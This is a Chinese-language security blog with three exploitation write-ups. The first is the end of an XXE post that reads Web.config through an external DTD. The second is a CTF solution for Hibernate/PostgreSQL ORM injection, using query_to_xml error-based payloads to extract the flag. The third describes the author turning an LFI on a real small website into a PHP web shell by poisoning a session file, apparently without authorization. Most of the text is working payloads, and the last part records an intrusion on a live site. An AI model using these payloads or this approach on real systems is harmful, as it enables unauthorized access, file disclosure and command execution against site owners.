但若想直接在 CDATA Section 內引用 Entity 是不行的，因為不會解析。

所以需要利用 Parameter Entity 將資料與 CDATA Section 的頭尾拼接放入另一個 Entity，再引入該 Entity 才能夠順利輸出。

data 參數輸入:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % file PUBLIC "data" "file://C:\inetpub\wwwroot\Web.config">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://192.168.56.1/external.dtd">
    %dtd;
]><root><name>&all;</name></root>

要引入的 http://192.168.56.1/external.dtd:

<!ENTITY all "%start;%file;%end;">

上述 Payload 發生的事情是 %dtd; 會先嘗試引入 external.dtd 文件，在 external.dtd 文件中分別又會引入 Parameter Entity %start;、%file;、%end; 去構造出 all Entity 的值，最後在原本的 XML 裡面 &all; 就能引用到由 CDATA Section 包夾起來的 Web.config 的純文字資料。

成功讀取到完整的 Web.config，連同註解的內容都能看得到。

針對 XXE 的利用技巧還有許多種，本篇分享的是我個人認為還算挺有趣的一個技巧，有興趣想了解更多的人可以參考下方 References 的連結。

References:

• https://gist.github.com/staaldraad/01415b990939494879b4
• https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
• https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.5/ms256483(v%3Dvs.90)

最終解開這道題目時，發現其實並不困難，但因作者我還是個菜雞，且對這道題目的服務所使用的工具完全沒接觸過，過程中繞了許多圈子、走了許多歪路，不過也累積了不少有用的經驗，於是就來為這道題目寫篇 Write-up，同時也詳細記錄下我所走的各種歪路 (´; ω ;`)

原始的題目說明很單純：

Criminals

Hey, Rebellious member, let's hack this Bloodsuckers web app. I think they keep some secret.
點開網頁應用程式的連結，也是一個很單純的搜尋頁面：

簡單嘗試一下 /robots.txt、/.git/、/.svn/ 等路徑，發現都是 404 的結果，再配合題目敘述，推測可能是要打 SQL Injection。

嘗試 Fuzzing 所有的欄位，直接全部輸入一些奇怪符號「aaa'"'#,」，順利噴出一連串錯誤訊息，並且發現 Order 欄位是 Injectable 的。

測試了一下並根據錯誤訊息，發現後台使用的 DBMS 為 PostgreSQL，並且使用 Hibernate 的 ORM 框架。而查詢的 Query 格式如下，其中 {{ INJECTABLE }} 即為注入點：

SELECT c  
from solutions.bloodsuckers.models.Criminal c  
WHERE   
  (c.name like :pName or :pNameLength = 0) and  
  (c.age = :pAge or :pAge = 0) and  
  (c.crime like :pCrime or :pCrimeLength = 0)  
order by {{ INJECTABLE }}

接著就是我開始進入各種鬼打牆的時候 ( T д T )

根據 PostgreSQL 的官方文件，UNION 和 MySQL 一樣必須在 ORDER BY 之前，因此無法直接 dump 資料：

於是我很單純 (根本是單蠢T__T) 的認為，該將重點放在搭配 SELECT 子查詢觸發 Error-Based Injection，而文件表示可以在 ORDER BY 上使用 expression，所以就先嘗試直接塞 SELECT，但似乎是 Hibernate 不讓我過 (?

繼續爬了一些官方文件，發現可以在 ORDER BY 上使用 CASE WHEN 敘述句，再搭配一些測試，好像順利通過 Hibernate ，成功讓 PostgreSQL 執行，此時的 Payload 為：

case when (  
  select current_user  
  from solutions.bloodsuckers.models.Criminal  
)=1 then 2 else 1 end desc

緊接著利用 CAST( ... AS type ) 的子句觸發轉型錯誤的 Error，讓資料噴出來，順利獲得 DB 的使用者

偷懶直接使用網上的 Cheat Sheet 中的 Payload，想將 table dump 出來

CASE WHEN (  
  SELECT CAST(c.relname AS int)  
  FROM pg_catalog.pg_class c   
  LEFT JOIN   
    pg_catalog.pg_namespace n ON n.oid = c.relnamespace   
  WHERE   
    c.relkind IN ('r','') AND   
    n.nspname NOT IN ('pg_catalog', 'pg_toast') AND   
    pg_catalog.pg_table_is_visible(c.oid)  
)=1 THEN 2 ELSE 1 END DESC

結果卻噴出這個錯誤訊息 Σ(T□T)

原來是因為 Query 中的 table 不是真實的 table，Hibernate 會將其再映射到資料庫中真實的 table，此 Query 似乎也不是普通的 SQL，是一種包裝過的 HQL。

於是我就踏上尋找如何繞過 Hibernate 限制的方法的旅途，但一直沒有搜尋到最重要的關鍵字，導致遲遲沒有結果。想嘗試將 Query 包成字串再讓其動態執行，但所爬到的資料都是利用建立自定義 function，再以 EXECUTE ... USING ... 敘述句來將字串作為 Query 執行，但在這題完全派不上用場 QQ。

比賽期間因為恰好有事沒有辦法解題，所以當在解這道題目時比賽也早已結束，而搜尋了數十篇文章資料都沒有結果，在無計可施的情況下，只好豁出去求助某位大神能否指引方向，那位大神看到後果然秒回我一個可以參考的簡報資料：

New methods for exploiting ORM injections in Java applications by Mikhail Egorov and Sergey Soldatov

其中最關鍵的是 query_to_xml 這個函式，正是可以將某字串作為 Query 執行並將結果轉成 xml 回傳的神器！

於是就重新構造了這麼一段 Payload：

CAST(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml('select current_user',true,false,'')  
    )  
  ,'')  
AS int)

正當以為能順利運行時

又是 Hibernate 呀 (╯▔□▔)╯ ~╩╩

試著修改一下，加上「 chr(95) || 」看能不能通過

CAST(  
  (chr(95) || array_to_string(  
    xpath('row[1]',   
      query_to_xml('select current_user',true,false,'')  
    )  
  ,''))  
AS int)

WHYYYYYY，雖然過了 Hibernate ，但 query_to_xml 的所有參數被強制作字串 concatenate。

只好繼續在網路上和文件中尋覓有用的敘述句，直到在 StackOverflow 上某篇討論 PostgreSQL 開發相關問題的文章中發現到，除了 CAST 以外，也能嘗試使用 int4 來將字串轉換成數字，於是就修改 Payload 為：

int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml('select current_user',true,false,'')  
    )  
  ,'')  
)

此時已經心力交瘁，邊祈禱著能夠順利邊按下送出

此時我的心情大概就像這個樣子：

搭配 Cheat Sheet 的 Payload，將 table 與 column 都抓出來：

int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml(  
        'SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (''r'','''') AND n.nspname NOT IN (''pg_catalog'', ''pg_toast'') AND pg_catalog.pg_table_is_visible(c.oid)',  
        true,  
        false,  
        ''  
      )  
    )  
  ,'')  
)

int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml(  
        'SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=''r'') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ''public'')',  
        true,  
        false,  
        ''  
      )  
    )  
  ,'')  
)

最後執行最終的 Payload 就能取得 flag：

int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml(  
        'SELECT secret FROM flag',  
        true,  
        false,  
        ''  
      )  
    )  
  ,'')  
)

總結一下，除了那簡報資料提及的 ORM Injection 技巧外，當遇到 PostgreSQL 的 Error-Based Injection 時，也能嘗試以下幾種方式將字串強制轉型成數字來達到利用 Error 獲取資料：

• CAST( ... AS int )
• CAST( ( chr(95) || ... ) AS int)
• int4( ... )
• int8( ... )
• float4( ... )
• float8( ... )
   

這段解題的路上真的非常坎坷，對 CTF 無經驗、對 Hibernate 毫無觀念、對 PostgreSQL 完全沒有接觸，感覺就像是裸身拿著一根樹枝參加世界大戰，在路上撿到一把左輪手槍，一路拚命爬到旗子前，結果發現大戰早已結束 N 個世紀。

但是過程中真的累積到不少寶貴、難得的經驗，很適合給像我這樣的新手作練習。似乎 Hibernate 也是很常見 Java 應用程式使用的框架，值得在有空時好好研究一下 Hibernate 的架構以及 HQL 和 SQL 的差異性。

先前因為朋友分享而得知某個小站具有 LFI 漏洞，於是就想嘗試著觸發 RCE，但發現主機上檔案權限蠻嚴格的，幸好最終還是成功透過 session 檔案觸發，因為過程有幾個蠻有趣的小細節，就趕緊寫篇文章作個筆記。

該網站發生 LFI 的點原始路徑是長類似這個樣子

 /file.php?file=index.html

透過以下幾個測試確認存在 LFI 漏洞

 /file.php?file=./index.html  <- 存在  
 /file.php?file=../index.html  <- 不存在  
 /file.php?file=../../../../../etc/passwd  <- 成功顯示 passwd 內容

但因為測試發現 include 語句前方串接了額外的資料夾路徑，無法嘗試 PHP Wrapper、RFI (Remote File Inclusion)，猜測原始碼可能會類似

 include(INCLUDE_DIRECTORY . $_GET['file']);

也沒發現能直接上傳檔案的入口，因此把策略轉為嘗試引入含有環境變數、Access Log 或其他可能含有使用者提供的資料的檔案。

首先嘗試環境變數的檔案

 /file.php?file=../../../../../proc/self/environ

可惜結果是失敗，可能是不夠權限進行讀取，再將目標轉移到網頁的 Access Log、Error Log，首先嘗試取得 Web Server config，順利發現在預設路徑的 Apache httpd.conf

 /file.php?file=../../../../../etc/httpd/conf/httpd.conf

並且依據設定檔內容確定 Log 檔案在 /etc/httpd/logs/access_log，但經測試無論是 access_log 還是 error_log 都無法被順利引入，應該也是讀取權限不足所導致。

到這邊因為經驗不足，已經沒有想法了，只好開始上網爬大量資料，發現有文章表示除了以上幾種常見檔案，還可以嘗試 session 檔案，同時也注意到該網站確實有啟用 session 功能，心想在某些情況下，或許能控制到 session 檔案的內容。二話不說直接引入 session 檔案。(預設檔案路徑通常是 /tmp/sess_{SESSION_ID} )

 /file.php?file=../../../../../tmp/sess_{SESSION_ID}

沒想到一次就中大獎，更讓人高興的是注意到出現的內容含有「file」關鍵字。

這表示 GET 參數的內容被儲存至 session 中，既然如此，那就可以直接在 GET 參數上注入可執行的 payload，但因為包含進來的 session 內容會是上一次請求時的內容，必須先對網站請求一次使 payload 儲存至 session 中，才能引入 payload 讓其執行。

初步測試直接執行

 /file.php  
 ?file=../../../../../tmp/sess_{ID}  
 &a=<?php system($_GET['b']); ?>  
 &b=ls -la

但結果卻是失敗的，理由是引號「 ' 」、「 " 」都被網站跳脫成「 ' 」、「 " 」。

此處就必須用到 PHP Array 的一個有趣特性，依據官方的說法

包含有合法整數型值的字符串會被轉換為整數型。例如鍵名 "8" 實際會被儲存為 8。但是 "08" 則不會強制轉換，因為其不是一個合法的十進制數值。
這意味著當請求的 GET 參數長這個樣子

 /file.php?1=Hello,world!

我們就可以透過 $_GET['1'] 或 $_GET[1] 取得 'Hello,world!' 的字串

即便引號被跳脫，我們仍然能順利獲取 GET 參數的內容，所以只要將原本的 payload 替換成以 $_GET[1] 獲取指令即可。

 /file.php  
 ?file=../../../../../tmp/sess_{SESSION_ID}  
 &a=<?php system($_GET[1]); ?>  
 &1=ls -la

於是乎 ~~ bang ~~

一個新鮮的 Web Shell 就取得了！

總結一下此次經驗

1. 當遇到 LFI 漏洞時，可以先檢查一下幾種可能的檔案：

   1. /etc/passwd
   2. /proc/self/environ
   3. All possible config files ( e.g. Apache /etc/httpd/conf/httpd.conf )
   4. Web server access, error log ( e.g. /etc/httpd/logs/access_log )
   5. Session files ( e.g. /tmp/sess_{SESSION_ID} )

2. PHP 使用 $_GET[1]、$_POST[1] 可以避開引號跳脫的問題。
    

08/30 補充

後來有朋友告訴我 $_GET[a] 不加單引號也可以執行，但我最初在嘗試時卻失敗，有可能是打錯字了 Q__Q